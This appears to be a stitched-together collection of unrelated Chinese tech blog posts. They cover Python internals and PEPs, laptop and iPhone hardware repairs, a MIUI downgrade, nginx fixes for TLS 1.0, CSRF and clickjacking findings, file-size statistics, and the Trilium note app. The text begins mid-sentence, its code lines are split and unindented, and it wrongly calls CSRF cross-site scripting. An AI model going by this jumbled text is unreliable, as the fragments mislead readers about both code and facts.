,然后打印出 x,或者在“=”号右侧写成一个元组,就能证实到这一点:>>> x = 1, 2
>>> print(x) # 结果:(1, 2)
>>> x, y = (1, 2)
>>> print(x, y) # 结果:1 2
>>> x, y = 1, 2
>>> x, y = y, x
>>> print(x, y) # 结果:2 1
dis
大杀器看看编译的字节码:
ROT_TWO
Swaps the two top-most stack items.
ROT_THREE
Lifts second and third stack item one position up, moves top down to position three.
ROT_FOUR
Lifts second, third and forth stack items one position up, moves top down to position four. New in version 3.8.
本文水文,为极速教程。华硕飞行堡垒系列笔记本默认只装了固态硬盘。固态硬盘跑系统和软件是杠杠的,但存储数据可就算了吧。外加这容量实在够呛,所以加个机械硬盘是个不错的选择。好在华硕预留了加装硬盘位。本次电脑是我们部门的前端小伙伴的电脑。问我加装什么硬盘合适,第一反应就是三个数字,7200转,2.5寸,1T。希捷当然是我的首选。这里是京东链接。就图中这款。
看下这款电脑,FX95G,飞行堡垒的标识,有点小帅。
注意方框中的螺丝是短螺丝,圆框中的是长螺丝,回装的时候别装错了
这应该是我拆过的最好拆的笔记本,指甲一圈,轻松取下后盖。
图中红框中的位置是华硕预留的硬盘位。并且有一个金属支架,拆掉几个固定螺丝,取下支架
螺丝空位都是对的上的,如果对不上注意方位。拧好螺丝
将装好硬盘的支架插回电脑,插口是预留的。然后拧上支架螺丝。回装D壳,完工。这是一个极简单的升级过程,动手能力比较弱的也可以尝试。
def zip(*iterables):
# zip('ABCD', 'xy') --> Ax By
sentinel = object()
iterators = [iter(it) for it in iterables]
while iterators:
result = []
for it in iterators:
elem = next(it, sentinel)
if elem is sentinel:
return
result.append(elem)
yield tuple(result)
zip
添加一个可选的 strict 布尔关键字参数。当启用时,如果其中一个参数先被用尽了,则会引发 ValueError 。def apply_calculations(items):
transformed = transform(items)
for i, t in zip(items, transformed):
yield calculate(i, t)
>>> x = [[1, 2, 3], ["one" "two" "three"]]
>>> xt = list(zip(*x))
>>> n = 3
>>> x = range(n ** 2),
>>> xn = list(zip(*[iter(x)] * n))
ast
,它在 literal_eval 里产生过一个 bug,会直接丢弃不匹配的节点:>>> from ast import Constant, Dict, literal_eval
>>> nasty_dict = Dict(keys=[Constant(None)], values=[])
>>> literal_eval(nasty_dict) # Like eval("{None: }")
{}
compile(..., dont_inherit=True)
open(..., closefd=False)
print(..., flush=True)
sorted(..., reverse=True)
>>> z = zip([2.0, 4.0, 6.0], [2, 4, 8], equal=True)
def zip(*iterables, strict=False):
if not iterables:
return
iterators = tuple(iter(iterable) for iterable in iterables)
try:
while True:
items = []
for iterator in iterators:
items.append(next(iterator))
yield tuple(items)
except StopIteration:
if not strict:
return
if items:
i = len(items)
plural = " " if i == 1 else "s 1-"
msg = f"zip() argument {i+1} is shorter than argument{plural}{i}"
raise ValueError(msg)
sentinel = object()
for i, iterator in enumerate(iterators[1:], 1):
if next(iterator, sentinel) is not sentinel:
plural = " " if i == 1 else "s 1-"
msg = f"zip() argument {i+1} is longer than argument{plural}{i}"
raise ValueError(msg)
>>> zm = zip(*iters).strict()
>>> zd = zip.strict(*iters)
Raised when an
assert
statement fails.
事情得从一个公家单位的网站检测报告说起。最近网络安全领域的执法活动高频密集,特别是浦东新区网络安全这块,动作频频。客户跟我说他们单位被检测出单位网站有安全漏洞,需要我处理,然后发了一份安全检测报告给我。大致看了一下,问题不大,不要慌,先拍个朋友圈就能解决的事情。遂记录如下。
列名了三个漏洞名称,第一个TLS1.0漏洞、CSRF漏洞和点击劫持漏洞,分别被标注了中危、中危、低危。
TLS1.0实际上是https加密协议1.0版,对应的是SSL3.1。这个协议有些年头了,在2011年的时候被攻破。并且这些年来浏览器陆续在抛弃TLS1.0了,所以修复漏洞的最简单方法就是弃用TLS1.0.方法也很简单,在nginx配置中删除TLS1.0即可,删除后重启下nginx。
ssl_protocols TLSv1.1 TLSv1.2 TLSv1.3;
然后使用myssl.com网站检测I下,看到TLS1.0 不支持就表示成功了,如果你网站使用了CDN,阿里云CDN控制台里面可以直接操作关闭TLS1.0
CSRF攻击其实就是跨站脚本攻击,原理就不讲了,学开发的都懂。处理方式主要有两种,一是验证请求头中的Referer,当然这个要依赖浏览器正确传输Referer字段。有一定的局限性。第二种就是生成一个token,然后去校验token。这个检测报告上还列了第三种方法,原理和token差不多。
我找了一下这个客户网站,很明显的就是一个查询表单,虽然我后台校验了用户输入数据,仅限于汉字字母和数字,可能当时忘了设个token,所以在表单里面补上一个token隐藏域,后端去校验这个token就好了。
点击劫持其实就是构造了一个iframe的页面,把你网站套在里面,看似是你的网站,实际上是在iframe框架上做了手脚,当你点击的时候执行了跳转。
先来复现一下这个漏洞吧,拿我的网站举例,先再本地建一个html页面,套下iframe框架。为了显眼,我给iframe来个红色边框,运行这个html后可以看到我的网站成功被嵌在了一个iframe框架中了。
如何修复这个漏洞,也简单,给X-Frame-Options响应头配置一个DENY的参数,具体nginx在server中配置一下add_header X-Frame-Options DENY;即可。配置后重启下nginx,再来运行下刚才的html页面,就会报一个拒绝连接的错误页了。当然DENY参数是直接禁止,别人无法iframe你,如果你网站自己有iframe同样会无法使用,如果你自己网站使用了iframe结构,记得将参数设置为SAMEORIGIN。
至此三个问题修复完成,网络安全无小事,此类相关赶紧自查自纠吧。
3.9.0 beta 4: Monday, 2020-06-29
3.9.0 beta 5: Monday, 2020-07-20
3.9.0 candidate 1: Monday, 2020-08-10
3.9.0 candidate 2: Monday, 2020-09-14
3.9.0 final: Monday, 2020-10-05
i += 1
或者 i = i + 1
,这在其它语言中也是通用的。__add__()
和 __iadd__()
)来完成计算,但表面上的效果完全相同。i = 1000
时,不同语言会作出不同的处理:int i = 1000
)会申请一块内存空间,并给它“绑定”一个固定的名称 i,同时写入一个可变的值 1000。在这里,i 的地址以及类型是固定的,而值是可变的(在一定的表示范围内)i = 1000
)也会申请一块内存空间,但是它会“绑定”给数字 1000,即这个 1000 的地址以及类型是固定的(immutable),至于 i,只是一个名称标签贴在 1000 上,自身没有固定的地址和类型i += 1
或者 i = i + 1
好了。for(int i = 0; i < 100; i++){
// 执行 xxx
}
for i in range(100):
# 执行 xxx
my_list = ["你好", "我是Python猫", "欢迎关注"]
for info in my_list:
print(info)
my_list = ["你好", "我是Python猫", "欢迎关注"]
for i, info in enumerate(my_list):
print(i, info)
# 打印结果:
0 你好
1 我是Python猫
2 欢迎关注
my_dict = {'a': '1', 'b': '2', 'c': '3'}
for key in my_dict.keys():
print(key)
for key, value in my_dict.items():
print(key, value)
i += 1
或者 i = i + 1
,由于存在着随处可见的可迭代对象,开发者们很容易实现对一个数值区间的操作,也就很少有对于某个数值作累加的诉求了。老婆把iPhone7的资料都转移iPhone11上了,终于这块被女儿摔了无数次的果7成了我的了,正好我的米6卡的要死,准备换来用用,昨天把米6刷机以后,系统又不卡了,那这个果7只好被我拿来测试小程序。这个手机有两年了,高频使用,电池早已不堪重负,要么分分钟掉电到关机,要么分分钟就充满满电复活。所以这手机还没到我手上就在网上淘了一块飞毛腿的电池,准备换上,电池到了有两天了。
iPhone7原装的容量是1960mAh,所以我买的时候也没仔细看,直接淘了一个一样的,其实店家还有一个大容量版的,可以点后面的链接查看,飞毛腿电池淘宝店或飞毛腿电池京东店,我建议买大容量的,我下单的时候没注意,买错了。店家送了拆装工具,当然这工具质量次的一逼啊。
店家送的工具基本就够了,但是你最好再准备一把镊子,否则那螺丝装起来会比较麻烦。店家送的工具分三把螺丝刀,一把梅花的,一把三角的,一把十字的,外加两个撬棒和一个吸盘。
手机底部充电口两边,各一个梅花螺丝,用梅花螺丝刀轻松拧下,螺丝就放装电池的铁盒子里面,防止掉了,这小东西掉了可不好找不好配。
将吸盘放在Home键盘边上位置,吸住,然后用力拉吸盘,不要怕,你那点力气要么吸盘拉脱,要么没啥反应,反正不会把屏幕一次性拉出来。当然,你要不放心,可以用热风枪对手机Home键位置和手机四周吹一下,没有热风枪,电吹风总有吧。反正我没吹,我觉得我不需要。
吸盘拉起屏幕一点点的时候,大拇指指甲配合一下往外抠一点,稍微见到缝后,指甲马上插进去。啥,用撬棒?可以,就是手拿撬棒绝对没指甲灵活好用。然后用指甲在手机四周划一圈,基本上底部和两侧会被你划除比较大的缝隙。这时候你可以再拿撬棒走一圈。
当你把屏幕三边都撬开后,你会发现顶部卡的死死的。有点经验的就知道,底部上螺丝,顶部一定是卡扣。所以需要用点巧劲拉下屏幕,可以边拉边轻轻摇动,或者用撬棒在顶部往下顶一顶,总之你会搞定它。拆下以后看下屏幕总成顶部的白色卡扣就知道了。
前面你拆的时候应该就看到,右边有两根排线,一个是屏幕总成的排线,一个是顶部前置摄像头的排线,小心别折断了这个,反过来就好了,可以放个东西在后面靠着,或者仔细点,放平也可以的,反正排线长度肯定够。
看到电池和右边主板的连接位置,上面有一层金属板挡住了,这个是排线的压板,是防止排线松脱的一个约束装置,上面四颗三角螺丝,用三角螺丝刀拧下,有一颗靠近边框的那个最长,等下回装的时候别装错了,其它三个规格一样。拆掉挡板,就能看到电池的排线和屏幕总成的排线了。这里只要拆电池排线就行了,屏幕总成不用拆,虽然后面我还是给拆了,等下说。电池排线用撬棒轻轻一撬就开了。
当然我是偷懒,吃了点小亏,我直接把电池底部的拉胶头扯开,直接拽的。原本是想向笛大佬吹下牛逼的,没成想牛逼吹破了。拉胶拉一半,因为有底部马达的阻挡,变成Z字形往外拉导致折断拉胶。所以,还是把第七步做下正解,拆线性马达。这个也很好拆,左下有个黑色塑料挡板,上面两颗十字螺丝,拧下,然后就能看到马达的排线,拆掉排线,然后马达两端的三颗十字螺丝拆掉,马达就能取下来了。
因为我前面偷懒,导致背胶拉端,所以这一步我要麻烦一点,我得先用镊子把背胶扯一点点出来,然后用手平拉就行了,这个时候没有马达阻挡,拉胶就容易多了。两根背胶拉掉以后就能取下电池了。我在拆马达的时候,怕不小心扯坏屏幕排线,这两根排线比较短,不像顶部的排线,索性就把屏幕的两根排线一并给撬了。
装电池之前,将店家送的背胶在电池背面贴好,注意背胶和电池的正反,如果电池反了,背胶就废了,背胶贴反了,那多出来的那点翻在电池尾部给下次拉胶的头就粘不上了。装好电池,先别装电池的排线。等其它的回装以后再插电池排线。
将马达回装,然后插上排线,一定要卡到位哦,装回排线挡板。如果你拆了屏幕排线,顺道恢复屏幕排线。
把电池排线插上以后,记得开机试一下,试两个东西,一是屏幕的显示和控制,二是震动。如果都没问题,关机,把排线挡板装回。
装屏幕之前,看下边框四周上的防水胶被你破坏的还能不能看,如果跟我一样,防水胶基本还保持原样的化,就不需要把这圈防水胶铲掉了。如果防水胶被你弄的一坨一坨的,你需要把这圈防水胶铲除干净后再装回屏幕。当然经过这么一折腾,手机防水防灰能力大打折扣。
将屏幕先从顶部卡扣斜插进去以后,四周按到位,最后上好底部两颗螺丝,大功告成。开机愉快的玩耍吧。
MIUI11应该是MIUI系统里面最烂的一个了,没有之一,不接受反驳。除了特么耗电极快以外,系统卡顿,应用卡顿也都是出了名的,网上的抱怨声可谓此起彼伏,MIUI估计也是看到了,所以来个诚意作品MIUI12,但是我这老米6怕是带不起来,还是踏实的降级到MIUI10算了。一大堆东西,前段时间该卸载的应用全部卸载掉,昨晚把手机上存的女儿的照片全部传到QQ相册上。今天又卡的一逼,趁周六时间刷个机。
原本以为卡刷就能解决的事情,没想到变的这么复杂了。先进MIUI论坛去下载安装包。找到机型,然后点开下载,发现只有两个版本,稳定版是11的,开发版是10的,就去下了开发版。因为我手机现在的是稳定版,直接刷开发版,隐隐就觉得不会成功。把压缩包导入到手机上,放到downloaded_rom文件夹下面。然后进入系统页面,右上角三个点点开,纳尼,没有选择本地安装包的选项?这么坑,只能作罢。
从中得到几个关键信息,第一个是BL锁的机型需要解锁,第二个跨版本需要线刷,第三个需要找到合适的系统包。
先解决第三个问题,在MIUI论坛上搜索MIUI10,一无所获。如果去翻帖子的话,也不知道翻到猴年马月,这个论坛改的都不知道怎么用了。想到的办法就是去找小米的客服。进入小米官网,右侧点击客服图标,输入人工客服。然后就有人工客服和你对话了,告知我要降级系统,找不到MIUI的刷机包,客服果断给了一个链接,啊哈哈,一个集合贴,正是我要的。就这个地址:https://www.xiaomi.cn/post/5896315。
做好备份,很多种办法,U盘手机备份,电脑备份,或者跟我一样纯手工导出需要的东西也可以。降级刷BL机型,手机本地备份是没用的,因为整机数据都被清空了。
根据上面的链接可以看到这样一个注意事项,里面有解锁页面的链接,点开这个链接,选择解锁,再新打开的页面上有解锁的操作步骤,根据步骤指示完成手机解锁即可。直到解锁成功。
根据前面的截图可以点开刷机工具的下载页。按部就班把刷机工具下载到电脑上。无需安装,解压后就能运行,第一次打开,可能会提示安装驱动,点不点都无所谓,点了反正也不能安装成功。同时去下载你要得刷机包,我选的最新的10.4,核心安卓9的包,事后笛大佬说网上有人下载的10.3的版本,内核是安卓8的,可能存在各种奇怪的问题。
关机进入fastboot模式,和之前操作解锁一样的动作。然后打开刷机工具,把你下载的刷机包解压一下,然后将解压后的路径复制到刷机工具的地址上去,点击后面的加载设备,如果提示没有驱动,再点右上角的driver安装一下驱动,然后点击刷机,耐心等待进度条走完,手机自动重启后进入系统设置。好了,至此你的MIUI10回来了。系统流畅,耗电不快,emmm,作为穷人,我的米6还能再战2年。
這是一個很有意思的問題,你可以試着先猜一下。
基於對系統中保存文件的瞭解,可能有這樣的思考過程:
問題中「大多數」其實是個挺不精確的稱呼,換個精確點的問法:你覺得你的系統中 文件大小的中位數 大概在什麼範圍內?或者說,文件系統中 文件大小的分佈情況 一般是怎樣的曲線?
這個問題其實還有多種別的問法,比如:一個常見的桌面或者服務器系統中,多大的文件算大文件, 多小的文件算小文件,什麼範圍內的大小算是普通呢?
經歷過基本的科學教育的人,大概會做這樣的基於科學假設的猜測:
你說爲什麼要關心這個?因爲我經常在網上看到這樣的討論:
「我有個倉庫盤要存很多下載到的漫畫,每個漫畫都是一個文件夾裏面一堆 小 JPG ,每個就幾十 KiB 。網上看到的說法是 XFS 對 小文件 的性能不那麼好,我是不是該換 EXT4 ?我還想在 Windows 上能讀寫,是不是 ExFAT 這種簡單的文件系統更合適一點?」
「軟件源的鏡像服務器需要存的都是些 小文件 吧,大多數軟件包壓縮後也就是幾個 KiB 到幾個 MiB 的量級,這種需求是不是適合用對 小文件 優化比較好的文件系統?」
「我的程序需要分析的數據是大量幾百K的 小文件 ,該怎麼存合適呢,直接用文件系統還是應該上數據庫? 我還想多線程併發分析,是不是 SQL 數據庫的併發能力強一些?又或者 MongoDB 的 GridFS 看起來似乎能結合文件系統和數據庫的特點,選它應該還不錯?」
有沒有覺得上面這些討論和直覺有些出入?如果你的直覺告訴你,上面的討論似乎很自然的話, 那說明你需要繼續看下去了。
好了寫了這麼多廢話給大家思考時間,現在請回答一下我標題中那個問題, 你覺得,你的系統中大多數文件大概有多大? ,接下來我要揭曉答案了。
最近看到一個挺早以前的研究報告,是 FAST'11 的最優秀論文獎,研究的課題叫 《A Study of Practical Deduplication》 。這個研究原本是想考察一下在桌面文件系統中「去重」(deduplication)的可行性和潛在收益,作爲背景調查, 他們收集了一個挺大的調查樣本,記錄文件大小和校驗和之類的。從論文摘要看,他們在微軟公司內, 通過郵件的形式讓微軟員工在各自的工作機上執行他們的調查程序,大概在1個月左右的時間內收集到了 857 份調查結果。關於去重的研究結果這裏我們這裏先不深究,只看這個背景調查,他們對收集到的文件大小畫了個圖表:
他們結果顯示最常見的文件大小是 4K !
注意上圖裏的橫軸座標,是按2的指數來給文件大小分類的。比如 128~256 字節的算一類, 4K~8K 字節的算一類,分類之後統計每一類裏面文件的數量所佔比例,也就是說橫軸座標是指數增長的。 在指數增長的橫軸座標上,畫出的曲線才看起來像是正態分佈的曲線,如果把橫軸座標畫成線性的話, 中位數會出現在非常靠近左側小文件的地方。
也就是說根據他們的統計,文件系統中大部分文件都是大概 2K 到 8K 這樣的範圍,最常見 4K 大小。 非常大的比如 8M 以上的文件只是極個別,位於圖表右側非常長的尾巴中。
其實我對這個結果還不是很驚訝,因爲我記得在 2000 年左右,當我家的電腦還在用 Windows 98 跑在 40G 的 FAT32 文件系統中的時候,讀到過一篇介紹 NTFS 的「新」特性的文章。那篇文章講到 FAT32 的簇大小隨着分區大小增長,越來越大的簇大小對保存大量小文件極其浪費,而 NTFS 用固定的 4K 簇大小可避免這樣的浪費,並且 1K MFT 記錄甚至能「內聯(inline)」存儲非常小的文件。 爲了證明大量小文件對文件系統是個現實存在的問題,那篇文章也提到了常見系統中的文件大小分佈曲線, 提到了大部分文件都是 4K 大小這有點反直覺的結論。
這次這個研究讓我覺得吃驚的是,文件大小分佈並沒有隨着硬盤大小的增加而增加,穩定在了 4K 這個數字上。 他們以前還進行過兩次類似的統計,分別在 2000 年和 2004 年,圖中的點線畫出了歷史上的統計分佈,實線是 2009 年的最新統計。三年獲得的統計結果的曲線基本吻合,這意味着隨着存儲容量增長,文件大小的分佈幾乎沒有變化。
正當我疑惑,這種文件大小不變的趨勢,是否是因爲微軟公司內特定的操作系統和工作內容, 在別的系統上或者在更長的時間跨度上是否有類似的趨勢呢?這時演講的幻燈片翻了一頁:
從早在 1981 年起,有研究表明文件系統中文件大小中位數就穩定在了 4K !
在他們論文的參考文獻中,能找到 這個 1981 年的研究 。這篇早年的調查是在 DEC 的 PDP-10 機器上,使用 TOPS-10 操作系統。從現在的視點來看,被調查的 TOPS-10 的文件系統已經可以說非常初級了,沒法支持很大的文件或者很多的文件, 然而即便如此常見文件大小也還是非常符合現代系統中得到的結果。
微軟的研究者們還回顧了計算機科學領域多年的相關研究,結論是常見文件大小這個值在 1981 到 2009 這近 30 年中都非常穩定。演講的原文中這麼評價:
…… the median file size is 4k. It was 4k the other two years of the study. We've actually gone back through the literature. It turns out it's 4k in every study going back to the last 30 years. So this is great news. We can finally compete with physicists: we have our own fundamental constant of the universe, it's a medium file size ……
文件大小中位數是 4K 。在前幾年的兩次研究中它也是 4K 。其實我們回顧了既往的學術研究,發現在過去30 年中每個研究都說它是 4K 這個值。這是個好消息,我們終於有了一個堪比物理學家的結論:我們有我們自己的 宇宙基本常數了,是文件大小中位數。
這個結論很有意思,文件大小中位數在計算機科學領域的穩定程度堪比宇宙基本常數: 4K !
很明顯這是在調侃,文件大小這種變化很大的數字顯然和文件系統內存儲的內容直接相關, 存遊戲的可能不同於存音樂的。但是這調侃的背後也有一定真實性:文件系統中保存的文件, 除了用戶直接使用的那些視頻、文檔、代碼,還有大量文件是程序內部創建使用的,比如瀏覽器的緩存和 cookie ,這類不被用戶知曉的文件可能在數量上反而佔據絕大多數。 於是從文件系統這邊來看,大多數文件都是在 4K 左右的數量級,更大的文件是少數。
我也想測一下我的文件系統中文件大小的分佈情況,於是稍微寫了點代碼測量和畫圖。如果你也想知道你的系統中 文件大小的分佈,那麼可以像我這樣測。
首先用
find
命令統計一下每個文件的大小,輸出到一個文件裏:
find /home -type f -printf "%s %p\n" > myhome.txt
上述命令對
/home
中的所有普通文件而忽略文件夾和符號鏈接之類的(
-type f
),輸出文件大小字節數和文件路徑(
-printf "%s %p\n"
)。
如果文件名路徑中有特殊符號可能之後比較難處理,那麼可以
-printf "%s\n"
忽略路徑。
然後用 Python 的 Matplotlib 和 NumPy 對收集到的文件大小數據畫個直方圖(histogram)。 以下 filesizehistogram.py 腳本在這兒 能下載到。
#!/usr/bin/python3
import argparse
import matplotlib.pyplot as plt
import numpy as np
import sys
from math import *
from bisect import bisect_left
def numfmt(s):
marks = "KMGTP"
m = 0
f = type(s) is float
while s >= 1024 and m < len(marks):
if f:
s /= 1024.0
else:
s //=1024
m += 1
if f:
return f"{s:.2f}{marks[m-1:m]}"
else:
return f"{s}{marks[m-1:m]}"
if __name__ == '__main__':
parser = argparse.ArgumentParser(
prog = "filesizehistogram",
description = """
can use "-" as input filename, indicate input is taken from stdin.
otherwise input file should be a result of "find -printf \'%s %p\\n\'"
"""
)
parser.add_argument('-o', '--output', help="output filename, will recognize common extensions by matplot")
parser.add_argument('input', nargs='+', help="input filenames")
args = parser.parse_args()
filenames = [x if x != '-' else '/dev/stdin' for x in args.input]
data=np.array([int(x.split(' ')[0]) for fn in filenames for x in open(fn)])
mindatalog2 = 5 # cut from 32
maxdatalog2 = min(ceil(log2(data.max())), 31) # cut at 1G and above
# bins [0, 1, 32, 64, 128, 256, ... , 1G, 2G] , last bin is open range
bins=[0,1,] + [2**x for x in range(mindatalog2, maxdatalog2 + 1)]
median = float(np.median(data))
mean = float(data.mean())
bmedian = bisect_left(bins, median) - 1
bmean = bisect_left(bins, mean) - 1
files = len(data)
total = data.sum()
hist, bin_edges = np.histogram(data,bins)
fig,ax = plt.subplots(figsize=(20,8))
ax.bar(range(len(hist)), hist, width=0.9)
ax.set_xticks([i for i in range(len(hist))])
tickbar = "┊\n"
ax.set_xticklabels([f'{tickbar*(i%3)}{numfmt(bins[i])}~{numfmt(bins[i+1])}' for i in range(len(hist)-1)] +
[f"{numfmt(bins[len(hist)-1])}~"])
ax.axvline(bmean, color='k', linestyle='dashed', linewidth=1)
ax.axvline(bmedian, color='r', linestyle='dashed', linewidth=2)
min_ylim, max_ylim = plt.ylim()
min_xlim, max_xlim = plt.xlim()
ax.text(bmean + 0.5 , max_ylim * 0.9, f'Mean: {numfmt(mean)}')
ax.text(bmedian + 0.5 , max_ylim * 0.9, f'Median: {numfmt(median)}', color='r')
ax.text(max_xlim * 0.8, max_ylim * 0.9, f'Files: {files}')
ax.text(max_xlim * 0.9, max_ylim * 0.9, f'Total: {numfmt(float(total))}')
for i in range(len(hist)):
ax.text(i - 0.5, hist[i] + files / 400, f"{hist[i]:5}") # label on top of every bar, uplefted a little
if args.output:
plt.savefig(args.output)
else:
plt.show()
然後就能
./filesizehistogram.py myhome.txt
這樣畫出一張圖。以下是我一臺機器上根目錄
/
和家目錄
/home
放在一起的結果:
圖中我用點線標出了中位數(median)和平均數(mean)大小的位置,可見在我的文件系統中, 文件大小中位數在 2.24K ,平均數是 88.09K ,512~8K 範圍內的文件數量加在一起超過了文件總數一半。文件數量最多的範圍是 1K~2K ,大概因爲我家裏存了好多源代碼。還有一個小突起在 64K~128K ,這堆主要是我收藏的漫畫 JPG 文件。
圖的橫座標和上面微軟的研究類似,用2倍增長的bin統計文件數量。 不過稍微修改了一下,因爲我想知道 0 大小文件的個數,還想把 1~32 和 1G~ 以上這兩個曲線底端的尾巴放在一起統計。圖的縱座標是文件數。
也可以用這個來畫你感興趣的文件夾的文件大小分佈,比如用 linux 內核代碼樹畫出來的圖大概這樣:
linux 代碼樹的文件大部分比我猜的 30K 要小呢,主要在 1K~16K ,中位數 3.28K 。而且意外得在代碼樹裏有好幾個 0 大小的文件,看了幾個文件路徑確認了一下,它們的確是 0 大小的頭文件,並不是我的文件系統丟了文件內容。
有沒有覺得「文件大小的中位數是 4K 」這個結論出乎意料呢?
你在用的系統中文件大小的分佈曲線又是什麼樣的呢?歡迎留言告訴我。(貼圖可以用 https://fars.ee/f 圖牀呀)
知道了文件大小分佈的規律,就會發現設計文件系統的時候,需要考慮兩個極端情況: 既要照顧到文件系統中數量很少而大小超大的那些文件,又要考慮到這麼多數量衆多而大小只有數 K 的文件。也會發現,對於文件系統而言,超過 16K 的文件就絕不會被算作是「小文件」了,而文件系統設計中說的 「小文件優化」針對的通常是更小的文件大小。並且這一趨勢並不會隨着存儲設備容量增加而改變, 不能妄圖通過隨着容量逐步增加文件分配「簇」大小的方式,來簡化文件系統設計。
那麼衆多文件系統實際是如何滿足這些極端情況的呢?待我有空再細聊……
'abcdef'.cutprefix('abc') # 返回'def'
'abcdef'.cutsuffix('ef') # 返回'abcd'
'abcdef'.lstrip('abc') # 返回“def”,符合预期
'abcbadefed'.lstrip('abc') # 返回'defed',完全不符合预期
我认为如果你先写文档,则名称的选择会更容易些:
cutprefix - 删除指定的前缀。
trimprefix - 删除指定的前缀。
stripprefix - 删除指定的前缀。
removeprefix - 删除指定的前缀。废话 :)
这里的困难在于,如果两个或多个前缀都能匹配,则“剪切这些前缀中的一个”的概念是模棱两可的。对 startwith 没有区别:
"extraordinary".startswith(('ex', 'extra'))
因为是从左到右,从最短到最大,甚至是随机顺序匹配都为True。但是对于 cutprefix,应该删除哪个前缀?
cutsuffix("Hello World", ("", " World")) # 返回 "Hello World"
cutsuffix("Hello World", (" World", "")) # 返回 "Hello"
zoneinfo
模块,该模块将有助于从 IANA 时区数据库中(也称为“Olson数据库”)获取时区信息,以填充时区对象。在撰写本文时,它看起来很顺利。… 我希望(出于异想天开的原因)在 4 月 5 日(星期日)UTC 时间 02:00-04:00 或 13:00-17:30 之间接受它,因为这些时间代表着地球上某些地方的不明确时间(主要在澳大利亚)。还有另一个时机,那就是在 4 月 19 日星期日 UTC 01:00-03:00 之间,这段时间在西撒哈拉是不明确的。
python news
,它会将 Python 指向我们代码中的”news”目录。# 管道传内容给 python
echo "print('hi')" | python
# 重定向一个文件给 python
python < spam.py
-c
指定的字符串# 使用 python 的 -c 参数
python -c "print('hi')"
python
, 就会进入交互式解释器。-c 参数用法可以省去进入解释器界面的过程) 。# 指定 python 的文件路径
python spam.py
sys.path
里。这样你的所有导入都可以继续使用。但这也是为什么你不能/不应该传入包含在一个包里的模块路径。因为sys.path
可能不包含该包的目录,因此所有的导入将相对于与你预期的包不同的目录。python -m spam
__main__.py
文件,它将被当成__main__
执行。而且子模块可以像任何其它模块一样导入,因此你可以对其进行各种测试。main
子模块,然后将其__main__.py
写成:from . import main
if __name__ == "__main__":
main.main()
main
模块,而是直接将所有相关的代码放入__main__.py
,因为我感觉这些模块名是多余的。__main__.py
也可以扩展到目录。如果你看一下促成此博客文章的示例,python news
可执行,就是因为 news 目录有一个 __main__.py
文件。该目录就像一个文件路径被 Python 执行了。python news/announce.py
,但是并没有确切的理由说明这种机制何时存在。__main__.py
文件非常简单。import runpy
# Change 'announce' to whatever module you want to run.
runpy.run_module('announce', run_name='__main__', alter_sys=True)
__main__.py
旁边(译注:即同级目录),那么就足够了!__main__.py
里不用导入 announce 模块,还是以它为主模块执行,也就不会破坏原来的依赖导入关系)__main__.py
,放置在一个压缩文件中,并把压缩文件所在目录放在 sys.path 里,Python 会替你运行__main__.py
文件。# 将一个压缩包传给 Python
python app.pyz
__main__.py
并添加一条组织行(shebang line),因此你甚至不需要指定 python,如果你不想在 UNIX 上指定它的话。如果你想移动一堆纯 Python 代码,这是一种不错的方法。__main__.py
来处理压缩文件的提取、缓存,然后为你执行代码。尽管不如纯 Python 解决方案理想,但它确实可行,并且在这种情况下算得上是优雅的。__main__.py
文件,它所在的包被当成一个“文件”来执行了# main 里是某些主体代码
def main():
……
if __name__ == '__main__':
main()
if __name__ == '__main__'
,可能想表明 main() 只有在当前脚本被直接执行时才运行,不希望被导入其它模块时运行。__main__.py
作为入口文件。这个文件结合命令行的“-m”参数使用,非常好用。推荐阅读:Python 中 -m 的典型用法、原理解析与发展演变if __name__ == '__main__'
。首先,如果只有一个文件的话,因为不存在导出的可能,不建议写。其次,存在多文件时,入口文件(main.py)中极不推荐写这一句,此文件的代码逻辑应该精炼,理论上其内容不该被导出到其它模块使用,因为它是起点!最后,多文件的非入口文件也不建议写,因为在非入口文件中写这个判断,最大的作用就是写一些测试代码,但是测试代码应该分离出来,写到专门的目录或文件中。之前我是没有记笔记的习惯的,就算会记我也不一定会回过头查看我记了什么,我对自己的记忆能力充满自信,这也使我吃过不少亏。算起来,我真正开始记笔记的时间应该是去年开学的时候。我把自己所学到的、值得记录的东西用手机自带的便签记下了,也是那时候,我开始写日记,不是写什么故事,只想记录下生活那些平平淡淡的点滴。渐渐的,我发现便签不适合我,我便开始了寻找……信息时代知识的获取变得十分容易,在庞大信息流的冲击下,旧的知识尚在消化中,新的知识已源源不断地涌来,如果没有把获取到的知识整理的习惯,那么很容易迷失在这五彩斑斓的世界里。
在体验过众多笔记软件/平台后,我选择了 TiddlyWiki,这也是我用得最久的一款软件,TiddlyWiki 的的确确是一款优秀的程序,但我对于它的一些方面始终不是很满意,所以我并未停止寻找替代品,直到最近发现了 Trilium 。与其它同类软件相比,它具有以下优点:
惯例,我先上图:
<noscript><img alt="预览" height="786" src="https://view.spiritx.xyz/images/2020/06/02/12010df60c2c2df803bfce3759cb38ca.jpg" width="1200" /></a><br /></noscript>
这是一张官方的示例图片,截自客户端内,同时,也是第一次打开时看到的页面,其中包含了一系列使用文档。从图片就可以看出 Trilium 非常简洁、具有很高的辨识度。左边是一棵无限嵌套的文档树,中间是笔记编辑区域,右边是当前笔记的信息,包括笔记标签和关联笔记图表等。
开源的优点不用多说,在写这篇文章的时候,恰逢Notion个人版免费了,我也去了解了这款软件,相比之下,我还是喜欢开源的 Trilium 。
release页面上有已经打包好的 Windows、Macos、Linux 以及 Linux Server 软件包,只需下载即可安装,Linux Server 版的 Trilium 是用来同步的,同时也提供了网页写作的前端,我个人是比较偏好于网页端写作的,这也是我选择 Trilium 的一个主要原因。如今我将他部署在了我的树莓派上,如果你的托管服务器也是使用的 aarch64 的系统,可以用我编译的镜像: docker run -d --name trilium -p 8080:8080 -v ~/volume/trilium/trilium-data:/root/trilium-data --restart unless-stoped spirit1431007/trilium-arm
,回车之后数据便永久保存在了 ~/volume/trilium/trilium-data
。
作为知识库,关系可谓是其最重要的一部分,而 Trilium 在这方面做到了极致。
开头提到了,Trilium 支持无限层级,这其实不算是 Trilium 独有,不过它做的很很出色。每一级的文件夹都能写笔记,如果留空的话,就会默认显示该目录下的“子笔记”,不得不说,这种结构非常适合知识库,就像这样:
<noscript><img alt="层级" height="563" src="https://view.spiritx.xyz/images/2020/06/02/c2baa6112e5dd0cda0d334f90ff80f33.jpg" width="1200" /></a><br /></noscript>
